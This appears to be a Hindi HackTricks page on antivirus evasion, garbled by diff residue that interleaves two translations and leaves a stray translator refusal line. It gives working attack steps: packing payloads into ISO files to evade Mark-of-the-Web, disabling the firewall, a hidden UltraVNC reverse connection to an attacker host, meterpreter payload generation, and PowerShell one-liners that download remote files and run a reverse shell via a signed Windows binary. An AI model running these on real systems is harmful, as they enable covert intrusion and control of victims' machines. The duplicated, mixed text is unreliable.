* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator `C++11/14` भाषा का उपयोग करके कैसे करना है इसका उदाहरण देता है, कैसे कंपाइल समय पर बाहरी उपकरण का उपयोग किए बिना अस्पष्ट कोड उत्पन्न किया जाए।
* [**obfy**](https://github.com/fritzone/obfy): C++ टेम्पलेट मेटाप्रोग्रामिंग फ्रेमवर्क द्वारा उत्पन्न अस्पष्ट आपरेशन की एक परत जो अनुप्रयोग को क्रैक करने के इच्छुक व्यक्ति की जिंदगी को थोड़ा मुश्किल बना देगी।
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz एक x64 बाइनरी अस्पष्टीकरणकर्ता है जो विभिन्न पीई फ़ाइलों को अस्पष्ट कर सकता है, जिनमें शामिल हैं: .exe, .dll, .sys
* [**metame**](https://github.com/a0rtega/metame): Metame एक साधारित कार्यान्वयन के लिए एक सरल मेटामॉर्फिक कोड इंजन है।
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator ROP (return-oriented programming) का उपयोग करके LLVM समर्थित भाषाओं के लिए एक फाइन-ग्रेन्ड कोड अस्पष्टीकरण फ्रेमवर्क है। ROPfuscator एक कार्यक्रम को एक्सेंबली कोड स्तर पर अस्पष्ट करता है, नियमित निर्देशों को ROP श्रृंखलाओं में बदलकर, सामान्य नियंत्रण प्रवाह की हमारी प्राकृतिक धारणा को विफल करता है।
कई उपकरण हैं जो **C# स्पष्ट-पाठ कोड को ऑब्फस्केट करने**, **मेटाप्रोग्रामिंग टेम्प्लेट्स उत्पन्न करने** और **संकलित बाइनरीज को ऑब्फस्केट करने** के लिए प्रयोग किए जा सकते हैं जैसे:
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# ऑब्फस्केटर**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): इस प्रोजेक्ट का उद्देश्य [LLVM](http://www.llvm.org/) संकलन सूट का एक ओपन-सोर्स फोर्क प्रदान करना है जो [कोड ऑब्फस्केशन](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) और टैम्पर-प्रूफिंग के माध्यम से बढ़ी हुई सॉफ्टवेयर सुरक्षा प्रदान कर सकता है।
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator दिखाता है कि कैसे `C++11/14` भाषा का उपयोग करके, संकलन समय पर, किसी भी बाहरी उपकरण का उपयोग किए बिना और कंपाइलर को संशोधित किए बिना ऑब्फस्केटेड कोड उत्पन्न किया जा सकता है।
* [**obfy**](https://github.com/fritzone/obfy): C++ टेम्प्लेट मेटाप्रोग्रामिंग फ्रेमवर्क द्वारा उत्पन्न ऑब्फस्केटेड ऑपरेशन्स की एक परत जोड़ें जो एप्लिकेशन को क्रैक करने की इच्छा रखने वाले व्यक्ति के जीवन को थोड़ा कठिन बना देगी।
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz एक x64 बाइनरी ऑब्फस्केटर है जो विभिन्न प्रकार के pe फाइलों को ऑब्फस्केट कर सकता है जिसमें: .exe, .dll, .sys शामिल हैं
* [**metame**](https://github.com/a0rtega/metame): Metame एक सरल मेटामोर्फिक कोड इंजन है जो मनमाने एक्जीक्यूटेबल्स के लिए है।
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator एक बारीक-दाने वाला कोड ऑब्फस्केशन फ्रेमवर्क है जो LLVM-समर्थित भाषाओं के लिए ROP (रिटर्न-ओरिएंटेड प्रोग्रामिंग) का उपयोग करता है। ROPfuscator एक प्रोग्राम को असेंबली कोड स्तर पर ऑब्फस्केट करता है, जिससे सामान्य नियंत्रण प्रवाह की हमारी प्राकृतिक धारणा को बाधित करता है।
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt एक .NET PE Crypter है जो Nim में लिखा गया है
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor मौजूदा EXE/DLL को शैलकोड में बदलने और उन्हें लोड करने में सक्षम है
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor मौजूदा EXE/DLL को शेलकोड में बदलने और फिर उन्हें लोड करने में सक्षम है
## SmartScreen और MoTW
## SmartScreen & MoTW
आपने शायद इंटरनेट से कुछ एक्ज़ीक्यूटेबल डाउनलोड किए और उन्हें चलाया होगा तो आपने इस स्क्रीन को देखा होगा
आपने इंटरनेट से कुछ एक्जीक्यूटेबल्स डाउनलोड करते समय और उन्हें निष्पादित करते समय यह स्क्रीन देखी होगी
माइक्रोसॉफ्ट डिफेंडर स्मार्टस्क्रीन एक सुरक्षा तंत्र है जो अंत उपयोगकर्ता को पोटेंशियली हानिकारक एप्लिकेशन चलाने से बचाने के लिए डिज़ाइन किया गया है।
Microsoft Defender SmartScreen एक सुरक्षा तंत्र है जिसका उद्देश्य अंतिम उपयोगकर्ता को संभावित रूप से हानिकारक एप्लिकेशन्स को चलाने से बचाना है।
<figure><img src="../.gitbook/assets/image (1) (4).png" alt=""><figcaption></figcaption></figure>
स्मार्टस्क्रीन मुख्य रूप से एक प्रतिष्ठा-आधारित दृष्टिकोण के साथ काम करता है, अर्थात असामान्य डाउनलोड एप्लिकेशन स्मार्टस्क्रीन को ट्रिगर करेंगे और अंत उपयोगकर्ता को फ़ाइल को चलाने से रोकेंगे (हालांकि फ़ाइल को फिर से चलाने के लिए More Info -> Run anyway पर क्लिक करके फ़ाइल को चलाया जा सकता है)।
SmartScreen मुख्य रूप से प्रतिष्ठा-आधारित दृष्टिकोण के साथ काम करता है, अर्थात् असामान्य रूप से डाउनलोड किए गए एप्लिकेशन्स SmartScreen को ट्रिगर करेंगे जिससे अंतिम उपयोगकर्ता को सतर्क किया जाएगा और फाइल को निष्पादित करने से रोका जाएगा (हालांकि फाइल को अभी भी More Info -> Run anyway पर क्लिक करके निष्पादित किया जा सकता है)।
**MoTW** (Mark of The Web) एक [NTFS विकल्प डेटा स्ट्रीम](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) है जिसका नाम Zone.Identifier है और जो इंटरनेट से फ़ाइलें डाउनलोड करते समय स्वचालित रूप से बनाया जाता ह
**MoTW** (Mark of The Web) एक [NTFS Alternate Data Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) है जिसका नाम Zone.Identifier होता है जो इंटरनेट से फाइल्स डाउनलोड करते समय स्वचालित रूप से बनाया जाता है, साथ ही उस URL के साथ जहां से यह डाउनलोड किया गया था।
<figure><img src="../.gitbook/assets/image (13) (3).png" alt=""><figcaption><p>इंटरनेट से डाउनलोड की गई फाइल के लिए Zone.Identifier ADS की जांच करना।</p></figcaption></figure>
{% hint style="info" %}
यह ध्यान देना महत्वपूर्ण है कि **विश्वसनीय** हस्ताक्षर प्रमाणपत्र के साथ हस्ताक्षरित एक्जीक्यूटेबल्स **SmartScreen को ट्रिगर नहीं करेंगे**
{% endhint %}
आपके पेलोड्स को Mark of The Web से बचाने का एक बहुत प्रभावी तरीका उन्हें किसी प्रकार के कंटेनर जैसे ISO के अंदर पैकेज करना है। ऐसा इसलिए होता है क्योंकि Mark-of-the-Web (MOTW) **NTFS वॉल्यूम्स के अलावा** किसी भी अन्य पर **लागू नहीं** हो सकता।
<figure><img src="../.gitbook/assets/image (12) (2) (2).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) एक उपकरण है जो पेलोड्स को Mark-of-the-Web से बचने के लिए आउटपुट कंटेनर्स में पैकेज करता है।
उदाहरण का उपयोग:
```powershell
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
@ -237,98 +255,100 @@ Adding file: /TotallyLegitApp.exe
[+] Generated file written to (size: 3420160): container.iso
```
यहा [PackMyPayload](https://github.com/mgeeky/PackMyPayload/) का उपयोग करके ISO फ़ाइलों में पेलोड को पैकेज करके SmartScreen को बाईपास करने के लिए एक डेमो है।
यहा [PackMyPayload](https://github.com/mgeeky/PackMyPayload/) का उपयोग करके ISO फाइलों के अंदर पेलोड पैकेजिंग द्वारा SmartScreen को बायपास करने का एक डेमो है।
<figure><img src="../.gitbook/assets/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
## C# असेंबली रिफ्लेक्शन
सी# बाइनरी को मेमोरी में लोड करना काफी समय से जाना जाता है और यह एंटीवायरस द्वारा पकड़े जाने के बिना अपने पोस्ट-एक्सप्लोइटेशन उपकरणों को चलाने का एक बहुत अच्छा तरीका है।
C# बाइनरीज को मेमोरी में लोड करना काफी समय से जाना जाता है और यह अभी भी AV को पकड़े बिना आपके पोस्ट-एक्सप्लॉइटेशन टूल्स को चलाने का एक बहुत अच्छा तरीका है।
पेलोड को सीधे मेमोरी में लोड करने के कारण, हमें केवल पूरे प्रक्रिया के लिए AMSI को पैच करने की चिंता करनी होगी।
चूंकि पेलोड सीधे मेमोरी में लोड हो जाएगा बिना डिस्क को छूए, हमें केवल पूरी प्रक्रिया के लिए AMSI को पैच करने की चिंता करनी होगी।
अधिकांश सी2 फ्रेमवर्क (sliver, Covenant, metasploit, CobaltStrike, Havoc, आदि) पहले से ही मेमोरी में सी# असेंबली को सीधे निष्पादित करने की क्षमता प्रदान करते हैं, लेकिन इसे करने के विभिन्न तरीके हैं:
अधिकांश C2 फ्रेमवर्क्स (sliver, Covenant, metasploit, CobaltStrike, Havoc, आदि) पहले से ही मेमोरी में सीधे C# असेंबली को निष्पादित करने की क्षमता प्रदान करते हैं, लेकिन ऐसा करने के विभिन्न तरीके हैं:
* **Fork\&Run**
इसमें **एक नया बलिदानी प्रक्रिया उत्पन्न करना** शामिल होता है, नई प्रक्रिया में अपने पोस्ट-एक्सप्लोइटेशन दुष्प्रभावी कोड को इंजेक्ट करें, अपने दुष्प्रभावी कोड को निष्पादित करें और समाप्त होने पर नई प्रक्रिया को किल करें। इसके फायदे और नुकसान दोनों होते हैं। फोर्क और रन विधि का लाभ यह है कि निष्पादन हमारे बीकन इंप्लांट प्रक्रिया के **बाहर** होता है। इसका मतलब है कि अगर हमारे पोस्ट-एक्सप्लोइटेशन कार्रवाई में कुछ गलत हो जाता है या पकड़ा जाता है, तो हमारे इंप्लांट को **बचाने की बहुत अधिक संभावना** होती है। नुकसान यह है कि आपक**व्यवहारिक पकड़ों** द्वारा पकड़ा जाने का **अधिक अवसर** होता है।
इसमें **एक नया बलिदानी प्रक्रिया उत्पन्न करना**, उस नई प्रक्रिया में आपके पोस्ट-एक्सप्लॉइटेशन मैलिशस कोड को इंजेक्ट करना, आपके मैलिशस कोड को निष्पादित करना और जब समाप्त हो जाए, तो नई प्रक्रिया को मारना शामिल है। इसके लाभ और नुकसान दोनों हैं। Fork और run विधि का लाभ यह है कि निष्पादन हमारे Beacon इम्प्लांट प्रक्रिया के **बाहर** होता है। इसका मतलब है कि अगर हमारे पोस्ट-एक्सप्लॉइटेशन क्रिया में कुछ गलत होता है या पकड़ा जाता है, तो हमारे **इम्प्लांट के बचने की** **बहुत अधिक संभावना** है। नुकसान यह है कि आपक**Behavioural Detections** द्वारा पकड़े जाने की **अधिक संभावना** है।
<figure><img src="../.gitbook/assets/image (7) (1) (3).png" alt=""><figcaption></figcaption></figure>
* **Inline**
इसका मतलब है कि पोस्ट-एक्सप्लोइटेशन दुष्प्रभावी कोड को **अपनी खुद की प्रक्रिया में इंजेक्ट** करना। इस तरीके से, आपको एक नई प्रक्रिया बनाने और इसे एंटीवायरस द्वारा स्कैन करवाने से बचने की आवश्यकता नहीं होगी, लेकिन नुकसान यह है कि अगर आपके पेलोड के निष्पादन में कुछ गलत हो जाता है, तो आपके बीकन को खोने की **बहुत अधिक संभावना** होती है क्योंकि यह क्रैश हो सकता है।
यह अपनी पोस्ट-एक्सप्लॉइटेशन मैलिशस कोड को **अपनी ही प्रक्रिया में इंजेक्ट करने** के बारे में है। इस तरह, आप एक नई प्रक्रिया बनाने और AV द्वारा स्कैन किए जाने से बच सकते हैं, लेकिन नुकसान यह है कि अगर आपके पेलोड के निष्पादन के साथ कुछ गलत होता है, तो **आपके बीकन को खोने की** **बहुत अधिक संभावना** है क्योंकि यह क्रैश हो सकता है।
<figure><img src="../.gitbook/assets/image (9) (3).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
यदि आप C# असेंबली लोडिंग के बारे में और अधिक पढ़ना चाहते हैं, तो कृपया इस लेख [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) और उनके InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) की जांच करें।
यदि आप C# असेंबली लोडिंग के बारे में और पढ़ना चाहते हैं, तो कृपया इस लेख को देखें [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) और उनके InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
{% endhint %}
आप PowerShell से भी C# असेंबली लोड कर सकते हैं, [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) और [S3cur3th1sSh1t के वीडियो](https://www.youtube.com/watch?v=oe11Q-3Akuk) की जांच करें।
आप C# असेंबलीज को **PowerShell से** भी लोड कर सकते हैं, [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) और [S3cur3th1sSh1t का वीडियो](https://www.youtube.com/watch?v=oe11Q-3Akuk) देखें।
## अन्य प्रोग्रामिंग भाषाओं का उपयोग
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) में प्रस्तावित रूप में, अन्य भाषाओं का उपयोग करके दुष्प्रभावी कोड को निष्पादित करना संभव है, जब आप कंप्रोमाइज़ हुए मशीन को हमलावर नियंत्रित SMB साझा के इंटरप्रेटर वातावरण तक पहुंच देते हैं।
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) में प्रस्तावित के अनुसार, आप हमलावर नियंत्रित SMB शेयर पर स्थापित इंटरप्रेटर वातावरण को समझौता किए गए मशीन को एक्सेस देकर अन्य भाषाओं में मैलिशस कोड को निष्पादित कर सकते हैं।
इंटरप्रेटर बाइनरीज़ और SMB साझा पर्यावरण का उपयोग करके आप कंप्रोमाइज़ हुए मशीन की मेमोरी में इन भाषाओं में विचारहीन कोड **निष्पादित कर सकते हैं**।
SMB शेयर पर इंटरप्रेटर बाइनरीज और वातावरण को एक्सेस देने से आप समझौता किए गए मशीन की मेमोरी के भीतर इन भाषाओं में **मनमाने कोड को निष्पादित कर सकते हैं**।
रेपो इंडिकेट करता है: डिफेंडर अभी भी स्क्रिप्टों की स्कैनिंग करता है, लेकिन गो, जावा, PHP आदि का उपयोग करके हमें **स्थिर हस्ताक्षरों** को बाइपास करने के लिए **अधिक लचीलापन** होता है। इन भाषाओं में ये टेस्टिंग अनुप्रयोग उम्मीदवार साबित हुए हैं
रेपो इंगित करता है: Defender अभी भी स्क्रिप्ट्स को स्कैन करता है लेकिन Go, Java, PHP आदि का उपयोग करके हमें स्टेटिक सिग्नेचर्स को बायपास करने के लिए **अधिक लचीलापन** मिलता है। इन भाषाओं में यादृच्छिक अन-ऑब्फस्केटेड रिवर्स शेल स्क्रिप्ट्स के साथ परीक्षण सफल रहा है
## उन्नत टालना
## उन्नत ईवेजन
टालना एक बहुत कठिन विषय है, कभी-कभी आपको एक ही सिस्टम में कई विभिन्न टेलीमेट्री स्रोतों का ध्यान देना होता है, इसलिए पूरी तरह से अनुकरण नहीं कर पाना बहुत मुश्किल होता है।
ईवेजन एक बहुत ही जटिल विषय है, कभी-कभी आपको केवल एक सिस्टम में कई अलग-अलग स्रोतों के टेलीमेट्री को ध्यान में रखना पड़ता है, इसलिए परिपक्व वातावरण में पूरी तरह से अप्रकट रहना लगभग असंभव है।
आप अग्रिम टालन तकनीकों में अधिक जानने के लिए [@ATTL4S](https://twitter.com/DaniLJ94) के इस टॉक को देखने के लिए ऊर्जा दें।
आप जिस भी वातावरण के खिलाफ जाएंगे, उनकी अपनी ताकत और कमजोरियां होंगी।
मैं आपको अधिक उन्नत ईवेजन तकनीकों में एक पकड़ पाने के लिए [@ATTL4S](https://twitter.com/DaniLJ94) के इस वार्ता को देखने की दृढ़ता से सलाह देता हूँ।
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
यहां एक और महान टॉक है [@mariuszbit](https://twitter.com/mariuszbit) के बारे में टालन में
यह ईवेजन इन डेप्थ के बारे में [@mariuszbit](https://twitter.com/mariuszbit) से एक और शानदार वार्ता भी है
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
## **पुरानी तकनीकें**
### **टेलनेट सर्वर**
### **Telnet सर्वर**
Windows10 तक, सभी Windows के साथ एक **टेलनेट सर्वर** था जिसे आप स्थापित कर सकते थे (व्य
Windows10 तक, सभी Windows में एक **Telnet सर्वर** आता था जिसे आप (प्रशासक के रूप में) इस प्रकार स्थापित कर सकते थे:
```
pkgmgr /iu:"TelnetServer" /quiet
```
इसे सिस्टम शुरू होने पर **शुरू** करें और अब इसे **चलाएं**:
सिस्टम शुरू होने पर इसे **शुरू** करें और अभी इसे **चलाएं**:
```
sc config TlntSVR start= auto obj= localsystem
```
**टेलनेट पोर्ट बदलें** (छिपाने के लिए) और फ़ायरवॉल अक्षम करें:
**तेलनेट पोर्ट बदलें** (गुप्त) और फ़ायरवॉल अक्षम करें:
```
tlntadmn config port=80
netsh advfirewall set allprofiles state off
```
### UltraVNC
इसे यहा से डाउनलोड करें: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (आपको सेटअप नहीं, बिन डाउनलोड करना है)
इसे यहा से डाउनलोड करें: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (आपको bin डाउनलोड्स चाहिए, सेटअप नहीं)
**होस्ट पर**: _**winvnc.exe**_ को चलाएं और सर्वर को कॉन्फ़िगर करें:
**होस्ट पर**: _**winvnc.exe**_ निष्पादित करें और सर्वर को कॉन्फ़िगर करें:
* _Disable TrayIcon_ विकल्प को सक्षम करें
* _VNC Password_ में पासवर्ड सेट करें
* _View-Only Password_ में पासवर्ड सेट करें
* _VNC Password_ में एक पासवर्ड सेट करें
* _View-Only Password_ में एक पासवर्ड सेट करें
फिर, बाइनरी _**winvnc.exe**_ और **नई** बनाई गई फ़ाइल _**UltraVNC.ini**_ को **पीड़ित** के अंदर ले जाएं
फिर, बाइनरी _**winvnc.exe**_ और **नवनिर्मित** फ़ाइल _**UltraVNC.ini**_ को **शिकार** के अंदर ले जाएँ
#### **रिवर्स कनेक्शन**
**हमलावर** को अपने **होस्ट** के अंदर बाइनरी `vncviewer.exe -listen 5900` को **चलाना** चाहिए ताकि वह रिवर्स **VNC कनेक्शन** को पकड़ सके। फिर, **पीड़ित** के अंदर: winvnc डेमन `winvnc.exe -run` चलाएं और `winwnc.exe [-autoreconnect] -connect <हमलावर_आईपी>::5900` को चलाएं
**हमलावर** को अपने **होस्ट** के अंदर बाइनरी `vncviewer.exe -listen 5900` को निष्पादित करना चाहिए ताकि वह रिवर्स **VNC कनेक्शन** को पकड़ने के लिए **तैयार** हो। फिर, **शिकार** के अंदर: winvnc डेमॉन `winvnc.exe -run` को शुरू करें और `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` को चलाएँ
**चेतावनी:** छिपाने के लिए आपको कुछ चीजें नहीं करनी चाहिए
**चेतावनी:** गुप्तता बनाए रखने के लिए आपको कुछ चीजें नहीं करनी चाहिए
* यदि `winvnc` पहले से चल रहा है तो इसे चालू न करें या आप [पॉपअप](https://i.imgur.com/1SROTTl.png) को ट्रिगर करेंगे। `tasklist | findstr winvnc` के साथ चेक करें कि क्या यह चल रहा है
* `UltraVNC.ini` के बिना `winvnc` न चलाएं या यह [कॉन्फ़िग विंडो](https://i.imgur.com/rfMQWcf.png) को खोल देगा
* मदद के लिए `winvnc -h` न चलाएं या आप [पॉपअप](https://i.imgur.com/oc18wcu.png) को ट्रिगर करेंगे
* अगर `winvnc` पहले से चल रहा है तो उसे शुरू न करें नहीं तो आप [पॉपअप](https://i.imgur.com/1SROTTl.png) ट्रिगर करेंगे। चेक करें कि यह `tasklist | findstr winvnc` के साथ चल रहा है या नहीं
* अगर `UltraVNC.ini` समान डायरेक्टरी में नहीं है तो `winvnc` को शुरू न करें नहीं तो यह [कॉन्फ़िग विंडो](https://i.imgur.com/rfMQWcf.png) खोल देगा
* मदद के लिए `winvnc -h` को चलाने से बचें नहीं तो आप [पॉपअप](https://i.imgur.com/oc18wcu.png) ट्रिगर करेंगे
### GreatSCT
इसे यहा से डाउनलोड करें: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
इसे यहा से डाउनलोड करें: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
```
git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
@ -336,7 +356,7 @@ cd GreatSCT/setup/
cd ..
./GreatSCT.py
```
ग्रेटएससीटी के अंदर:
Inside GreatSCT के अंदर:
```
use 1
list #Listing available payloads
@ -346,19 +366,19 @@ sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole
```
अब `msfconsole -r file.rc` के साथ **लिस्टर** शुरू करें और निम्नलिखित के साथ **xml पेलोड** को **चलाएं**:
अब `msfconsole -r file.rc` के साथ **लिस्टर शुरू करें** और **xml payload** को निम्नलिखित के साथ **निष्पादित करें**:
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
**वर्तमान रक्षक प्रक्रिया को बहुत तेजी से समाप्त कर देगा।**
**वर्तमान डिफेंडर प्रक्रिया को बहुत तेजी से समाप्त कर देगा।**
### अपनी रिवर्स शेल को कंपाइल करना
### हमारा अपना रिवर्स शेल कंपाइल करना
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
#### पहली सी# रिवर्सशेल
#### पहला C# रिवर्सशेल
इसे निम्नलिखित के साथ कंपाइल करें:
इसे कंपाइल करें:
```
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
```
@ -438,17 +458,11 @@ catch (Exception err) { }
}
}
```
[https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple\_Rev\_Shell.cs](https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple\_Rev\_Shell.cs)
### C# कंपाइलर का उपयोग
Since there is no English text that requires translation in the provided content, I cannot provide a Hindi translation. The content consists of a URL and a section heading which are not to be translated as per the instructions. If you have any other text that needs translation, please provide it.
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
```
[REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066)
[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
स्वचालित डाउनलोड और निष्पादन:
ऑटोमैटिक डाउनलोड और निष्पादन:
```csharp
64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
@ -456,28 +470,14 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
```
{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}
C# अस्पष्टीकरण सूची: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
### C++
C# obfuscators सूची: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
```
sudo apt-get install mingw-w64
i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
```
[https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp](https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp)
Merlin, Empire, Puppy, SalsaTools [https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/](https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/)
[https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf)
https://github.com/l0ss/Grouper2
{% embed url="http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html" %}
{% embed url="http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/" %}
### अन्य उपकरण
```bash
# Veil Framework:
@ -511,10 +511,10 @@ https://github.com/praetorian-code/vulcan
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एकल [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह!
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का पालन करें**.
* **अपने हैकिंग ट्रिक्स को** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके साझा करें**.
* क्या आप **cybersecurity company** में काम करते हैं? क्या आप चाहते हैं कि आपकी **company का विज्ञापन HackTricks में दिखाई दे**? या क्या आप **PEASS के नवीनतम संस्करण तक पहुँच चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) देखें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा संग्रह विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का
* [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) या **Twitter पर** मुझे **follow** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **hacktricks repo** में PRs सबमिट करके अपनी hacking tricks साझा करें और [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>